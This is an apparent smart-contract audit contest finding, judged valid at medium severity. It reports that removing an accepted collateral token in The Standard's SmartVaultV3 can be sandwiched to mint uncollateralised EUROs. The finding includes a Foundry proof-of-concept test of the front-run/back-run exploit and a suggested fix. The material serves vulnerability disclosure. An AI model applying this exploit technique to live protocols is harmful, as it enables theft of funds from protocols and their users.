The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Removal Of an Accepted Token is Sandwichable

ElHaj

Summary

The SmartVaultV3 contract is susceptible to a sandwich attack when tokenManager contract removing collateral tokens. This can be exploited to mint an excessive amount of EURO tokens and withdraw the de-listed collateral, causing a huge financial damage to the protocol.

Vulnerability Details

  • The SmartVaultV3 contract interacts with a TokenManager contract that maintains a list of accepted collateral tokens.which can be added or removed via removeAcceptedToken function.

  • The vulnerability arises from the fact that the removeAsset function in all smartVaultsV3 checks if the token being withdrawn is an accepted collateral token by calling getTokenIfExists on the TokenManager. If the token is not found, or if it is found but the vault is not undercollateralized after the removal, the withdrawal is allowed to proceed.

function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
emit AssetRemoved(_tokenAddr, _amount, _to);
}

  • An attacker can exploit this by monitoring the mempool for transactions that indicate the removal of a token. They can then front-run this transaction by depositing a large amount of the token to be removed into their vault, minting huge amount of EUROs against it, and then back-run the transaction to withdraw the token once the removal is executed. This is possible because the token will be already removed .

  • The lack of real-time collateral status checks during the minting process combined with the ability to withdraw tokens that are no longer accepted as collateral creates a window of opportunity for an attacker to execute a sandwich attack, minting EUROs with what is effectively non-collateral and then withdrawing the de-listed token, leaving the vault undercollateralized.

  • another issue is that removing an asset can make even normal vault undercollatirlized.

poc :

  • here a poc that shows how the removing an accepted token can be sanwiched to mint a huge amount of EUROs and then withdraw the collateral used to mint this tokens, i used foundry with a custom setup for the protocol , i didn't use the proxy pattern so i have to set some intial values in the initialize function of smartVaultManager contract :

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.17;
​
import "forge-std/console.sol";
import "forge-std/Test.sol";
import "../../contracts/utils/SmartVaultDeployerV3.sol";
import "../../contracts/SmartVaultManagerV5.sol";
import "../../contracts/utils/EUROsMock.sol";
import "../../contracts/utils/SmartVaultIndex.sol";
import "../../contracts/LiquidationPoolManager.sol";
import "../../contracts/LiquidationPool.sol";
import "../../contracts/SmartVaultV3.sol";
import "../../contracts/utils/ERC20Mock.sol";
import "../../contracts/utils/TokenManagerMock.sol";
import "../../contracts/utils/ChainlinkMock.sol";
contract setup is Test {
ChainlinkMock clmock;
ChainlinkMock clmock1;
TokenManagerMock tokenmanager;
SmartVaultDeployerV3 deployer;
SmartVaultManagerV5 manager;
SmartVaultIndex vaultIndex;
EUROsMock euro;
LiquidationPoolManager poolmanager;
LiquidationPool pool;
ERC20Mock tst;
ChainlinkMock clmock2;
ERC20Mock token;
address bob = makeAddr("bob");
address alice = makeAddr("alice");
//////////////////////// standard function //////////////////////////////////
function onERC721Received(address ,address ,uint ,bytes memory ) public pure returns (bytes4 retval){
return this.onERC721Received.selector;
}
receive() external payable {}
function setUp() public virtual {
skip(3 days);
// deploy chain link mock :
clmock = new ChainlinkMock("native price feed");
clmock.setPrice(160000000000);
clmock1 = new ChainlinkMock("euro price feed");
clmock1.setPrice(150000000);
// deploy the token manager :
tokenmanager = new TokenManagerMock(bytes32("native"),address (clmock));
clmock2 = new ChainlinkMock("random token price feed");
token = new ERC20Mock("token","tk",18);
token.mint(bob,10000 ether);
clmock2.setPrice(100000000);
tokenmanager.addAcceptedToken(address(token),address(clmock2));
// deploy smartVault manager :
manager = new SmartVaultManagerV5();
// deploy smart index and set the setVaultManager(manager)
vaultIndex = new SmartVaultIndex();
vaultIndex.setVaultManager(address(manager));
// deploy euro mock :
euro = new EUROsMock();
// deploy tst :
tst = new ERC20Mock("test tst","tst", 18);
// deploy smart vault deployer : and set the constaructor to (bytes32(native), address(this))
deployer = new SmartVaultDeployerV3(bytes32("native"),address(clmock1));
// deploy the liquidation pool :
// deploy the pool manager :
manager.initialize(vaultIndex,address(euro),address(tokenmanager));
poolmanager = new LiquidationPoolManager(address(tst),address(euro),address(manager),address(clmock1), payable (address(this)),50000);
pool = LiquidationPool(poolmanager.pool());
// set the euro and index and deployer to the smart vault manager
manager.setSmartVaultDeployer(address(deployer));
euro.grantRole(euro.DEFAULT_ADMIN_ROLE(),address(manager));
manager.setLiquidatorAddress(address(poolmanager));
manager.setMintFeeRate(10000);
manager.setBurnFeeRate(5000);
manager.setSwapFeeRate(5000);
manager.setProtocolAddress(address(poolmanager));
vm.deal(address(this), 20 ether);
}
​
function test_removeAcceptedToken() public {
uint initialBalance = token.balanceOf(bob);
vm.prank(bob);
(address vault,) = manager.mint();
SmartVaultV3 v = SmartVaultV3(payable(vault));
// bob sees that a remove token tx in the memepool so he front run it :
// front run the tx that will remove this token
uint euroMinted = frontrun(v);
// remove the token
tokenmanager.removeAcceptedToken("tk");
// backrun and withdraw the amount deposited to mint euro;
backrun(v);
assertTrue(v.undercollateralised());
assertEq(token.balanceOf(bob),initialBalance);
assertEq(euro.balanceOf(bob),euroMinted);
}
function frontrun(SmartVaultV3 v) internal returns(uint euroMinted){
// send token to the vault :
vm.startPrank(bob);
token.transfer(address(v),token.balanceOf(bob));
// mint euro with this token :
euroMinted = v.status().maxMintable *manager.HUNDRED_PC() /manager.collateralRate();
v.mint(bob,euroMinted);
vm.stopPrank();
​
}
function backrun(SmartVaultV3 v) internal {
// remove the asset :
vm.startPrank(bob);
uint bal = token.balanceOf(address(v));
v.removeAsset(address(token),bal,bob);
}
}

Impact

  • The attacker obtaining an unwarranted amount of EUROs without collateral that can badly harm the protocol

Tools Used

vs code
manual review

Recommendations

  • Implement a preventative measure to restrict user asset withdrawals if their vault becomes undercollateralized.

function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
++ if(undercollateralised()) revert(UNDER_COLL);
emit AssetRemoved(_tokenAddr, _amount, _to);
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

remove-token

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.